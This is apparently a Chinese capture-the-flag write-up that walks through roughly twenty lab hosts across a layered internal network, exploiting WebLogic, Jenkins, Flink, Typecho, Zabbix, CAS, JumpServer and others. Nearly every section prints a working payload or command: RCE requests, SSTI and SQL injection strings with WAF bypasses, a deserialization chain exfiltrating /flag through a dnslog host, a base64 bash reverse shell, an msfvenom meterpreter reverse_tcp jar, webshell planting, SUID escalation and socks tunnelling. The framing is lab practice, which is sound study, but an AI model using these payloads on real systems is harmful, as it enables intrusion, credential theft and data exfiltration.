第一次打CTF。大部分都是拿exp打过去就行了,而且部分无flag或者无漏洞的环境进行干扰,比较贴近真实环境,讲究的是在最短的时间内拿更高的分。
1. (192.168.1.100)weblogic
/console/login/LoginForm.jsp
CVE-2020-14882+CVE-2020-14883
GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThreadcurrentThread = (weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork();java.lang.reflect.Field field =adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Objectobj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req =(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj);String cmd = req.getHeader("cmd");String[] cmds =System.getProperty("os.name").toLowerCase().contains("window")? new String[]{"cmd.exe", "/c", cmd} : newString[]{"/bin/sh", "-c", cmd};if(cmd != null ){ Stringresult = new java.util.Scanner(newjava.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\A").next();weblogic.servlet.internal.ServletResponseImpl res =(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(newweblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}currentThread.interrupt();') HTTP/1.1
Host: 127.0.0.1:7001
Connection:close
cmd: whoami
这题T3系列的反序列化也行,但不如直接回显方便,而且实战中环境出了问题,无法反弹shell。
根目录没有flag,只有一个readme
机器也完全不出网,readme直接cat乱码,记得大意是没有flag。
检测任务计划,发现备份。
crontab -l
查看sh文件发现ftp服务器的ip账户密码。
向servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war目录写入冰蝎马,做socks代理
2. (192.168.1.102)SUID
使用weblogic的socks代理,用weblogic上获取的ftp用户登录ssh
但是没有权限读取flag
很容易发现是find的SUID提权
find / -user root -perm -4000 -print 2>/dev/null
find 1 -exec cat /flag ;
成功获取flag
3. (192.168.1.82)jenkins
直接未授权RCE
/script
println("cat /flag".execute().getText())
4. (192.168.1.55)SSTI
只有一个简单的过滤,{{xxxxxxx__xxxxxxx}}这种形式无法通过,直接不用双大括号即可
{%print(x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('catflag').read()"))%}
5. (192.168.1.79)XXE
微信管家,admin/123456弱密码进后台。在公众号测试功能中存在XXE
有防护,UTF-16绕过即可,可以见我的XXE文章
6. (192.168.1.41)Apache Flink
弱密码登录,CVE-2020-17519即可
/v1/jobmanager/logs/..%252f..%252f..%252f..%252fflag
7. (192.168.1.41)kibana+php
phpweb是一个黑页,意思是网站被黑了
用Kibana搜索日志,直接看一年的日志
/app/discover
可以找到两个后门
这个被删除了。
upload111.php还在,需要用这个上传webshell
找到flag
8. (192.168.1.78)php
扫到个www.zip下载下来,有个index.php
eval改成var_dump
替换掉源文件中的【eval(xxx);】,继续eval改成var_dump
反复多次后。获得混淆的源码
classA{
var $test = "demo";
function __destruct(){
@eval($this->test);
}
}
$test= $_GET['test'];
$len =strlen($test)+1;
$pp ="O:1:"A":1:{s:4:"test";s:".$len.":"".$test.";";}";
$test_unser= unserialize($pp);
其实就是个eval($_GET['test']);的后门
由于复现环境不出网(现在已出网),因此只能使用reGeorg,weblogic的代理不好用,现在获得了一个php环境,于是做代理。
但是/var/www/html目录不可写,因此只能写在/tmp/tunnel.nosocket.php,然后获取socks5代理
python neoreg.py -k 123456 -p 5667 -u http://2.2.2.2/index.php?test=include(%27/tmp/tunnel.nosocket.php%27)
9. (172.16.1.77)typecho
php混淆那台有双网卡,因此可进入第二层网络,typecho存在php反序列化
由于报500无回显,而且不出网,使用dnslog将flag带出。
(现在已出网,出网可以反弹shell也可以用curl带出flag)
class Typecho_Request
{
private $_filter = array('system');
private $_params = array('screenName'=>'ping -c 1 `cat /flag`.jvzluu.dnslog.cn');
}
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const EOL = "n";
const DATE_RFC822 = 'r';
private $_baseUrl ='1';
private $_feedUrl ='1';
private $_lang = '1';
private $_subTitile = '1';
private $_type = 'RSS 2.0';
private $_items ;
public function __construct(){
$this->_items = array(
array(
'author' => new Typecho_Request(),'title'=>'1','link'=>'1','data'=>'1332427715',
'content' => array(1,2),
)
);
}
}
$config['adapter'] = new Typecho_Feed();
$config['prefix'] = '1';
echo base64_encode(serialize($config));
10. (172.16.1.145)JeeSite
我很久很久之前的一篇文章就提到过这个cms低版本有shiro反序列化,但实际打CTF的时候这题居然没做出来。
11. (172.16.1.8) SSH
ssh爆破,公司内部常用账户密码lxxxxp/xxx1234。
12. (172.16.1.55) zabbix
实际的时候没做出来,知道是注入但稍微试了下就知道是模糊性非常强的WAF,这种WAF绕起来太费时间了,可能还需要写脚本盲注,就没有花太多时间。但实际还是挺简单的。
存在CVE-2016-10134,SQL注入,且需要用分块传输的畸形数据包绕过ModSecurity
POST /zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x7e,(select%20concat(name,0x3a,passwd)%20from%20%20users%20limit%200,1),0x7e)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1 HTTP/1.1
Host: 172.16.1.55
Transfer-Encoding: Chunked
1;
aa
0
账户密码登不进去,建议注出session
(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,sessionid,0x7e)%20as%20char),0x7e))%20from%20zabbix.sessions%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)
在后台添加flag脚本
找到主机运行之
13. (172.16.1.71) weblogic
环境更新后已出网,因此这题做起来简单一点。CVE-2021-2109+CVE-2020-14882
java -jar JNDIExploit-v1.11.jar -i 0.0.0.0
GET /console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&handle=com.bea.console.handles.JndiBindingHandle(%22ldap://x.x.241;95:1389/Deserialization/Jdk7u21/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 172.16.1.71:7001
cmd: id
这台可建立socks隧道向下一层内网进发
14. (172.16.1.41) CAS
CAS反序列化,可以出网的话直接弹shell
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections2 "bash -c {echo,xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}"
15. (172.16.1.88) JumpServer???
下好火狐或者谷歌的websockets插件Simple Web Socket Client
ws://172.16.1.88/ws/ops/tasks/log/
{"task":"/opt/jumpserver/logs/gunicorn"}
寻找log泄露的凭据
利用凭据访问/api/v1/authentication/connection-token/?user-only=None接口获取token
POST /api/v1/authentication/connection-token/?user-only=None HTTP/1.1
Host: 172.16.1.88
Content-Type: application/json
Content-Length: 152
{"asset": "XXX", "system_user": "XXX", "user": "XXX"}
token 20s内有效,用token去访问
ws://172.16.1.88/koko/ws/token/?target_id=xxxxx
但这一步失败了,不知道是不是环境问题
16. (172.16.1.94) Apache Flink
CVE-2020-17518,直接用msf生成恶意jar包再上传即可
msfvenom -p java/meterpreter/reverse_tcp LHOST=2.2.2.2 LPORT=5667 -f jar > rce.jar
但这题也没有flag
17. (10.180.1.23) spring boot
/env和/heapdump都无法利用,在/trace中泄露session和路由
后台是一个最简单的命令注入
18. (10.180.1.24) jdwp
这个漏洞我有篇文章提到过,结果实战中没扫到端口(扫描器的问题)
python jdwp-shellifier.py -t 10.180.1.24 -p 8000 --break-on "java.lang.String.indexOf" --cmd "whoami"
19. (10.180.1.19) OPS
翻js可以发现一个低权限的任意文件读取接口
读/flag不存在
读/proc/self/environ,当前用户为opsuser
读/proc/self/cmdline,找到源码位置
通过这个漏洞下载源码,如果因为代理下不下来,可以先curl到172.16.1.71上,再curl到192.168.1.78上。
审计源码,发现账户密码硬编码在LoginController中
登录之后发现可以看到10.180.1.20的ifconfig,并且标识了/flag主机,大概意思是19这台没有flag
再看代码中的HostController
20这台机器是台saltstack机器,可以通过run路由远程执行命令,但这里的username/password/eauth和login的并不相同,而且jar包中也没有发现相关赋值。
这里getsaltstatus路由还有一个有意思SSRF
会发一个POST包,如果目标地址不存在401 Unauthorized,就将内容保存在/tmp/ops.log中。
20. (10.180.1.20) saltstack
似乎有非预期解,存在一个漏洞利用链, https://paper.seebug.org/1491/
最后看正确答案是通过SSRF访问http://127.0.0.1:8001/config/default获取正确的username/password/eauth。
源码中有配置文件但被我忽视了。
直接访问会报405
POST方法不对,要用GET,那么用VPS 302中转。
http://10.180.1.19/getsaltstatus?target=http://x.x.241.95/302.php?s=http%26ip=127.0.0.1%26port=8001%26data=config/default
log中出现记录。
使用正确username/password/eauth
题目描述: 单位网站被黑客挂马,请您从流量中分析出webshell,进行回答: 解题思路: 3.1黑客登录系统使用的密码是__Admin123!@#。 3.2黑客修改了一个日志文件,文件的绝对路径为_/var/www/html/data/Runtime/Log…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论